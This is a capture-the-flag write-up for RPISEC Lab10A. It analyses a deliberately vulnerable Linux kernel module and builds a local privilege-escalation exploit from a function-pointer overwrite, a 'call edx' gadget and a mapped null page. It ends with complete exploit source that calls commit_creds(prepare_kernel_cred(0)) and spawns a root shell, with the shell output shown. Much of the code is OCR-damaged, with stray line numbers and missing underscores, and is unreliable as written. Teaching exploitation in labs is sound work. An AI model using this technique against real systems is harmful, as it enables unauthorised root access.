RPISEC Lab10A Writeup

Setup and Source Code Analysis

- We start with a simple skeleton script to communicate with the device (after building and inserting the module as normal).
- From the source code of lab10A.c, we can see there are 5 "ioctls":

```
static ssize_t pwn_write(struct file* file, const char * buf, size_t count, loff_t *ppos)
     { // This is how you configure uTables
         if (buf[0] == '\x01') { // Now you know you're talking to this thing :)
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             printk(KERN_INFO "The flag is in /root/flag\n");
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         }
         if (buf[0] == '\x02') \{ // Add a disallow filter
             printk(KERN_INFO "[uTables] Adding new disallow filter\n");
268
             printk(KERN_INFO "PR: %u", buf[1]);
             add_dfilter( (struct disallow_filter *) &(buf[1]));
         }
         if (buf[0] == '\x03') { // Add a callback filter}
             printk(KERN_INFO "[uTables] Adding a new callback filter\n");
             add cfilter( (struct callback filter *) &(buf[1]));
274
         }
         if (buf[0] == '\x04') \{ // Modify a callback function
             printk(KERN_INFO "[uTables] Modifying a callback\n");
278
             modify_callback((void *) &(buf[4]));
         }
         if (buf[0] == '\x05') { // Emulate a Packet arriving in the kernel.
             printk(KERN_INFO "[uTables] Emulating a packet arriving\n");
284
             emulate_packet( (int) (buf[1]));
```

Some of these require us to pass custom structures to the device, these are defined as:

```
29 typedef struct disallow_filter {
       unsigned int pr_num;
       unsigned int port;
       unsigned int id;
       struct disallow_filter * next;
34
        struct disallow_filter * prev;
35 }d;
   typedef struct callback filter {
      unsigned int pr_num;
       unsigned int id;
      void (*callback)(struct callback_filter *);
      struct callback_filter * next;
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       struct callback_filter * prev;
44 }c;
```

- As we can see, we have two doubly linked lists, the more interesting structure is the callback_filter, which contains a function pointer.
- We add the following code to our code to quickly test the devices mock ioctl's.

```
#define FLAG_LOCATION 0x01
#define ADD_DISALLOW_FILTER 0x02
#define ADD CALLBACK FILTER 0x03
#define MODIFY_CALLBACK 0x04
#define EMULATE_PACKET 0x05
[...snip...]

/* TEST */
write(device, FLAG_LOCATION, 1);
write(device, ADD_DISALLOW_FILTER, 1);
write(device, ADD_CALLBACK_FILTER, 1);
write(device, MODIFY_CALLBACK, 1);
write(device, EMULATE_PACKET, 1);
```

```
[ 2484.897579] [uTables] Got a packet!
[ 2484.898831] The flag is in /root/flag
[ 2484.898969] [uTables] Adding new disallow filter
[ 2484.899103] PR: OPR NUM: 67109632
[ 2484.899247] New Filter At Address: f380b360
[ 2484.899265] New Filter Protocol: 67109632
[ 2484.899562] New Filter Port: 1280
[ 2484.899739] New Filter ID: 453050368
[ 2484.899909] [uTables] Adding a new callback filter
[ 2484.900092] [uTables] Adding a callback filter
[ 2484.900280] New Filter At Address: f380b540
[ 2484.900478] New Filter Protocol: 83887104
[ 2484.900682] New Filter ID: 0
[ 2484.900901] New Filter Callback @: f83700c0
[ 2484.901118] New Filter NEXT:
                                  (null)
[ 2484.901338] New Filter PREV: c0150b60
[ 2484.901563] [uTables] Modifying a callback
[ 2484.901813] Addr: 674956059
[ 2484.902053] ID: 16777216
[ 2484.902295] [ERROR] Userspace Address detected!
[ 2484.902559] [uTables] Emulating a packet arriving
 2484.902860] [uTables] Emulating Protocol: 0
```

 Now we need to look at what ioctl's we want to use, and see if there's any vulnerabilities we could leverage.

Add Callback Filter

```
int add_cfilter(struct callback_filter * filt) {
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141
         Add a callback filter to uTables.
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143
         struct callback_filter * nfilter, *walker;
144
         printk("[uTables] Adding a callback filter\n");
145
         nfilter = kmalloc(sizeof(struct callback filter), GFP KERNEL);
147
         nfilter->pr_num = filt->pr_num;
         nfilter->id = filt->id;
149
         nfilter->callback = default callback;
150
         nfilter->next = 0;
151
152
         walker = cfilter head;
153
         while(walker->next != 0) {
154
             walker = walker->next;
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156
         walker->next = nfilter;
         nfilter->prev = walker;
158
         printk(KERN_INFO "New Filter At Address: %p\n", nfilter);
         printk(KERN_INFO "New Filter Protocol: %u\n", nfilter->pr_num);
         printk(KERN_INFO "New Filter ID: %u\n", nfilter->id);
         printk(KERN_INFO "New Filter Callback @: %p\n", nfilter->callback);
         printk(KERN_INFO "New Filter NEXT: %p\n", nfilter->next);
         printk(KERN INFO "New Filter PREV: %p\n", nfilter->prev);
164
         return 0;
167
168 }
```

- This function allows us to add our own callback filter to the doubly linked list. All it does is take our buffer+1, cast it as a callback_filter pointer, creates memory on the kernel heap for a new structure and then copies the data over.
- What's important here is that we can specify the pr num and id, which will be useful later.
- We can add a callback_filter by adding the following code:

```
[ 6270.680880] [uTables] Adding a new callback filter
[ 6270.681249] [uTables] Adding a callback filter bffff45d
[ 6270.682101] New Filter At Address: f380bf40
[ 6270.682446] New Filter Protocol: 19
[ 6270.682785] New Filter ID: 1337
[ 6270.683270] [uTables] Got a packet!
[ 6270.683716] New Filter Callback @: f83700c0
[ 6270.684155] New Filter NEXT: (null)
[ 6270.684559] New Filter PREV: f380b4a0
```

Modify Callback

```
int modify_callback(void * data) {
        Apart from the default Callback, you may load
224
         additional kernel modules and use their functions
         as callback routines from the filtering hook here.
226 */
         struct callback_filter * walker;
         unsigned int addr;
         unsigned int cid;
         memcpy(&cid, data, 4);
         memcpy(&addr, data + 4, 4);
         printk(KERN_INFO "Addr: %u\n", addr);
        printk(KERN_INFO "ID: %u\n", cid);
         if (addr < 0xc0000000) {
             printk(KERN_INFO "[ERROR] Userspace Address detected!\n");
238
             return -1;
         }
         walker = cfilter head;
         while (walker != 0) {
             if (walker->id == cid) {
                 break;
             }
             walker = walker->next;
         }
         if (walker) {
             walker->callback = addr;
             printk(KERN_INFO "Updated Filter ID: %u Callback to : %u\n",walker->id, walker->callback);
         }
         else {
             printk(KERN_INFO "Could not find Filter with ID: %u\n",walker->id);
             return -1;
```

• The next interesting section of code is this function. It handily allows us to specify a callback_filter by id, and then give it a new callback function pointer to call. Note that the if statement prevents us from specifying user space addresses (those below 0xc0000000).

- This does mean however we can give it any kernel space function to call (or more importantly, a rop gadget in kernel space, more on that later....).
- We trigger this code path as follows:

```
buff[0] = MODIFY_CALLBACK;

void *addr = (void *)0xcafebabe;
void *id = (void *)0x00000539;

memcpy(buff+4, &id, 4);
memcpy(buff+4+4, &addr, 4);
write(device, buff, strlen(buff));

[ 6556.828488] [uTables] Modifying a callback
[ 6556.828834] Addr: cafebabe
[ 6556.829039] ID: 00000539
[ 6556.829248] Updated Filter ID: 1337 Callback to : 3405691582
```

Emulate Packet

```
void emulate_packet(int pnum) {
         struct disallow_filter * walkera;
          struct callback_filter * walkerb;
          printk(KERN\_INFO \ "[uTables] \ Emulating \ Protocol: \ %d\n", \ pnum);
         walkera = dfilter_head;
         walkerb = cfilter_head;
         while(walkerb != 0) {
             if(walkerb->pr_num == pnum) {
                 break;
             walkerb = walkerb->next;
108
         if (walkerb) {
             printk(KERN_INFO "Found callback filter!\n");
             walkerb->callback(walkerb);
              return;
114
         while(walkera != 0) {
             if (walkera->pr_num == pnum) {
118
                 break;
             }
             walkera = walkera->next;
121
         }
         if (walkera) {
              printk(KERN_INFO "[uTables] Caught a disallowed Packet!\n");
              return;
          return;
127 }
```

- Now we have a way of specifying what happens when a certain packet is caught, it would be
 nice to have some way of controlling when that happens (mainly we don't want arbitrary
 packets triggering our code path).
- Luckily, the guys @RPISEC were nice enough to implement the emulate_packet function as above. This function taskes as input a protocol number to emulate, walks the doubly linked list of callback and disallow filters, and if it finds a filter that handles that protocol, calls its callback and then drops the packet (if there is also a disallow filter).
- So if we pass this function the protocol number of the callback_filter we just created, it should call the function pointer we gave (0xcafebabe).
- We use the following code:

```
buff[0] = EMULATE PACKET;
buff[1] = 0x13;
 write(device, buff, strlen(buff));
[ 6861.440270] [uTables] Adding a new callback filter
  6861.440637] [uTables] Adding a callback filter bffff45d
 6861.440783] New Filter At Address: f6aee760
 6861.440935] New Filter Protocol: 19
[ 6861.441089] New Filter ID: 1337
[ 6861.441247] New Filter Callback @: f83700c0
[ 6861.441415] New Filter NEXT:
                                 (null)
[ 6861.441612] New Filter PREV: f6ac83a0
[ 6861.441792] [***] BUFF = \x04\x13
[ 6861.441973] [uTables] Modifying a callback
[ 6861.442167] Addr: cafebabe
[ 6861.442367] ID: 00000539
[ 6861.442591] Updated Filter ID: 1337 Callback to : 3405691582
[ 6861.442827] [***] BUFF = \x05\x13
[ 6861.443060] [uTables] Emulating a packet arriving
[ 6861.443312] [uTables] Emulating Protocol: 19
[ 6861.443656] Found callback filter! @ cafebabe
[ 6861.443942] kernel tried to execute NX-protected page - exploit attempt? (uid: 1000)
[ 6861.444246] BUG: unable to handle kernel paging request at cafebabe
[ 6861.444593] IP: [<cafebabe>] 0xcafebabe
[ 6861.444929] *pdpt = 00000000001af3001 *pde = 8000000000ae001e3
[ 6861.445283] Oops: 0011 [#16] SMP
```

```
[ 6861.454783] CRO: 80050033 CR2: cafebabe CR3: 34eb5000 CR4: 000407f0
[ 6861.455518] Stack:
[ 6861.456252] f837013b f8371218 cafebabe 00000005 bffff45c f6193f60 f83704be f8371378
[ 6861.457031] bfffff45c f3248300 00000002 f8370450 f6193f88 c118e6fd f6193f98 00000000
[ 6861.457828] 00000000 f3248308 bffff45c f3248300 f3248300 bffff45c f6193fac c118edc6
[ 6861.458689] Call Trace:
[ 6861.459479] [<f837013b>] ? emulate_packet+0x5b/0xa0 [lab10A]
[ 6861.460307] [<f83704be>] pwn_write+0x6e/0xd2 [lab10A]
[ 6861.461136] [<f8370450>] ? modify_callback+0xb0/0xb0 [lab10A]
[ 6861.461974] [<c118e6fd>] vfs_write+0x9d/0x1d0
[ 6861.462807] [<c118edc6>] SyS_write+0x46/0x90
[ 6861.463643] [<c169285f>] sysenter_do_call+0x12/0x12
00 00 00 00 00 00 00 00 00 00 00 00
[ 6861.468513] EIP: [<cafebabe>] 0xcafebabe SS:ESP 0068:f6193f30
 6861.469961] CR2: 00000000cafebabe
6861.481920] ---[ end trace 98135dced025a96c ]---
```

 And as we see, Oxcafebabe is an incorrect address which causes a pagefault, so we now have eip control.

Developing the Exploit

- So we now know the path to trigger the vulnerability has 3 steps:
 - o Add a callback filter with a specific ID and protocol number.
 - o Modify the callback function pointer of that filter to a kernel space address.
 - Emulate a packet of that protocol to trigger a call to the previously specified address.
- The problem here is that we can't map addresses above 0xc0000000, so we can only use this to call kernel code that is already present.
 - Note that had this been a 64bit system the if statement would fail as we can obviously map 0x0000000000000000.
- Lets start by looking at the state of the registers and stack just as the function pointer is called, to see what we may be able to leverage.

```
MEMORY:F9926118 loc_F9926118:
                                                            ; CODE XREF: MEMORY:F99261214j
MEMORY: F9926118
                                           ebx, [ebx+0Ch]
                                   mov
  MEMORY: F992611B
                                   test
                                           ebx. ebx
MEMORY: F992611D
                                           short loc_F9926148
                                   jz
  MEMORY: F992611F
  MEMORY:F992611F loc_F992611F:
                                                            : CODE XREF: MEMORY:F992610Dfi
MEMORY: F992611F
                                   стр
                                           [ebx], esi
MEMORY: F9926121
                                            short loc_F9926118
                                   jnz
  MEMORY:F9926123
                                   mov
                                           eax, [ebx+8]
  MEMORY: F9926126
                                            dword ptr [esp], offset off_F9927220
                                   mov
  MEMORY: F992612D
                                   mov
                                           [esp+4], eax
                                           near ptr unk_C16860F3
  MEMORY:F9926131
                                   call
  MEMORY:F9926136
                                   mov
                                           eax. ebx
                                   call
                                            dword ptr [ebx+8]
  MEMORY - F992613B
```

- EDX looks like a good candidate, on testing, it seems that its value is set during the printk call
 just before our function pointer is called (unk_C1680F3).
- So if we had a way of forcing a call to EDX, we could then map a null page and store our shellcode at offset 0x46. This is where our rop gadget comes in, this gadget must satisfy two conditions:
 - It must be in kernel space to pass the check in modify_callback.
 - o It must call edx, it would be nice if that was all it did.
- Searching for such a gadget gives us plenty of results:

```
0xc13fd1f6 : xor eax, eax ; call edx
0xc1354642 : xor eax, eax ; test edx, edx ; je 0xc1354654 ; mov eax, ebx ; call edx
0xc1354b21 : xor eax, eax ; test edx, edx ; je 0xc1354b33 ; mov eax, ebx ; call edx
0xc1354bde : xor eax, eax ; test edx, edx ; je 0xc1354bcd ; mov eax, ebx ; call edx
0xc1354bbb : xor eax, eax ; test edx, edx ; je 0xc1354bcd ; mov eax, esi ; call edx
0xc1354ea7 : xor eax, eax ; test edx, edx ; je 0xc1354eb9 ; mov eax, ebx ; call edx
0xcl354f33 : xor eax, eax ; test edx, edx ; je 0xcl354f45 ; mov eax, ebx ; call edx
0xcl354fb5 : xor eax, eax ; test edx, edx ; je 0xcl354fc7 ; mov eax, ebx ; call edx
0xcl35507f : xor eax, eax ; test edx, edx ; je 0xcl35509l ; mov eax, ebx ; call edx
0xc13553be : xor eax, eax ; test edx, edx ; je 0xc13553ad ; mov eax, ebx ; call edx
0xc135539b : xor eax, eax ; test edx, edx ; je 0xc13553ad ; mov eax, esi ; call edx
0xc13d48e8 : xor eax, eax ; test edx, edx ; je 0xc13d48fa ; mov eax, ebx ; call
0xc13faefd : xor eax, eax ; test edx, edx ; je 0xc13faf0f ; mov eax, ecx ; call edx
0xc143055b : xor eax, eax ; test edx, edx ; je 0xc143056d ; mov eax, ecx ; call edx
0xc14305fb : xor eax, eax ; test edx, edx ; je 0xc143060d ; mov eax, ecx ; call edx
0xc143069b : xor eax, eax ; test edx, edx ; je 0xc14306ad ; mov eax, ecx ; call edx
0xc1434e6a : xor eax, eax ; test edx, edx ; je 0xc1434e7c ; mov eax, ecx ; call edx
0xc14aab21 : xor eax, eax ; test edx, edx ; je 0xc14aab33 ; mov eax, ebx ; call edx
0xc14aca34 : xor eax, eax ; test edx, edx ; je 0xc14aca46 ; mov eax, ebx ; call edx
0xc1521289 : xor eax, eax ; test edx, edx ; je 0xc152127b ; mov eax, ecx ; call edx
0xc1646993 : xor eax, eax ; test edx, edx ; je 0xc16469a5 ; mov eax, ebx ; call edx
0xc12f728a : xor ebx, ebx ; call ed
0xc14110af : xor ebx, ebx ; test edx, edx ; je 0xc14110db ; xor eax, eax ; call edx
0xc133f818 : xor edi, edi ; call ed
0xc1449d5a : xor edi, edi ; test edx, edx ; je 0xc1449d6a ; call edx
0xc14a7c3b : xor edi, edi ; test edx, edx ; je 0xc14a7c4f ; mov eax, esi ; call edx
0xc155f210 : xor edi, edi ; test edx, edx ; je 0xc155f224 ; mov eax, ebx ; call edx
0xc1514696 : xor esi, esi ; test edx, edx ; je 0xc15146a8 ; mov eax, ebx ; call edx
```

- We will use the gadget at address 0xC12F728A (xor ebx, ebx; call edx).
- We then update our code to represent this change, and then see if we hit a call to 0x46.

```
MEMORY: C12F728A
                                      xor
                                               ebx, ebx
EIP.
    MEMORY: C12F728C
                                      call
                                               edx
EAX C0150380 • MEMORY: C0150380
ECX C1B2D780 . MEMORY: C1B2D780
EDX 00000046 $ MEMORY: 00000046
EBX 00000000   MEMORY: 00000000
ESP F6A8DF30 SMEMORY: F6A8DF30
EBP F6A8DF44 SMEMORY: F6A8DF44
ESI 00000013 \ MEMORY:00000013
EDI 00000002 • MEMORY:00000002
EIPC12F728C MEMORY:C12F728C
EFL 00000246
```

From here, the exploit is trivial. We map an executable page in memory from 0x00-0x1000, and copy our stub code into that page at offset 0x46. One important thing to note here is that our rop gadget modifies the stack by pushing a return address, we don't want to return just after our gadget, so we add a pop %reg to our stub so that we return cleanly to emulate_packet.

• Putting this all together gives us a reliable exploit that safely returns to userspace giving us a root shell.

```
gameadmin@warzone:~/level10A$ whoami
gameadmin
gameadmin@warzone:~/level10A$ ./lab10A_exploit
[+] Found address of commit_creds at 0xc107f910 [+]
[+] Found address of prepare_kernel_cred at 0xc107fbd0 [+]
[+] Mapped Null page [+]
[+] Device opened [+]
[+] modified callback address to call 0xc12f728a [+]
[+] Triggering vulnerable code path [+]
[!!!] Enjoy your root shell [!!!]
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
#
```

The Final Code

```
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#define FLAG LOCATION 0x01
#define ADD DISALLOW FILTER 0x02
#define ADD CALLBACK FILTER 0x03
#define MODIFY CALLBACK 0x04
#define EMULATE PACKET 0x05
#define DEVICE NAME "/dev/pwn"
typedef struct disallow filter {
   unsigned int pr num;
   unsigned int port;
   unsigned int id;
   struct disallow filter * next;
   struct disallow filter * prev;
}disallow_filter;
typedef struct callback filter {
   unsigned int pr num;
   unsigned int id;
   void (*callback) (struct callback filter *);
   struct callback filter * next;
   struct callback filter * prev;
}callback filter;
struct cred;
struct task struct;
/* Definitions for commit creds and prepare kernel cred */
typedef struct cred *(*prepare kernel cred t)(struct task struct
*daemon)
   attribute ((regparm(3)));
typedef int (*commit creds t) (struct cred *new)
 attribute__((regparm(3)));
prepare kernel cred t prepare kernel cred;
commit creds t commit creds;
* Get the kernel addresses of symbols
void *get ksym(char *name) {
   FILE *f = fopen("/proc/kallsyms", "rb");
```

```
char c, sym[512];
    void *addr;
    int ret;
    while (fscanf (f, "%p %c %s\n", &addr, &c, sym) > 0)
        if (strcmp(sym, name) == 0)
            printf("[+] Found address of %s at %p [+]\n", name,
addr);
            return addr;
    return NULL;
void get root()
        commit creds(prepare kernel cred(0));
void stub()
        asm("call *%0" : : "r"(get root));
     asm("pop %edi"); //because of our rop gadget, we need to pop
once more
                  //this allows us to return properly to
emulate packet
int main()
     char buff[512];
     memset(buff, 0x00, sizeof(buff));
     /* get the addresses of the functions we need */
        commit creds = get ksym("commit creds");
        prepare kernel cred = get ksym("prepare kernel cred");
        if(!commit creds || !prepare kernel cred)
                printf("[x] Error getting addresses from kallsyms,
exiting... [x]\n");
                return -1;
     long *null page = (long *) mmap(0, 4096,
PROT READ | PROT WRITE | PROT EXEC,
           MAP PRIVATE | MAP FIXED | MAP ANONYMOUS, 0,0);
     if(null page < 0)
           printf("[x] Error mapping null page [x]\n");
```

```
void **fn = 0x46; //edx == 0x46 when called
     printf("[+] Mapped Null page [+]\n");
     /* Copy our asm stub into the mapped page at offset 0x46 */
     memcpy(fn, stub, 128);
     /* Create the callback filter that will be modified */
     callback filter *my cb filter = (callback filter *)\
                      malloc(sizeof(callback filter));
     my cb filter->pr num = 0x13;
     my cb filter->id = 1337;
     int device = open(DEVICE NAME, O WRONLY);
     if(device < 0)
           printf("[x] Unable to open device [x]\n");
           return -1;
     printf("[+] Device opened [+]\n");
     buff[0] = ADD CALLBACK FILTER;
     memcpy(buff+1, my cb filter, sizeof(callback filter));
     write(device, buff, strlen(buff));
     buff[0] = MODIFY CALLBACK;
     /* Here we set the callback to a gadget that calls edx */
     /* EDX has a predictable value that can be mapped to */
     void *addr = (void *) 0xc12f728a; //xor ebx, ebx; call edx
     void *id = (\text{void *}) 0 \times 00000539;
     printf("[+] modified callback address to call %p [+]\n",
addr);
     memcpy(buff+4, &id, 4);
     memcpy(buff+4+4, &addr, 4);
     write(device, buff, strlen(buff));
     buff[0] = EMULATE PACKET;
     buff[1] = 0x13;
     printf("[+] Triggering vulnerable code path [+]\n");
     write(device, buff, strlen(buff));
     close(device);
```

```
if(getuid() == 0)
{
          printf("[!!!] Enjoy your root shell [!!!]\n");
          system("/bin/sh");
          return 0;
}
else
{
          printf("[x] Couldn't escalate privs [x]\n");
          return -1;
}
```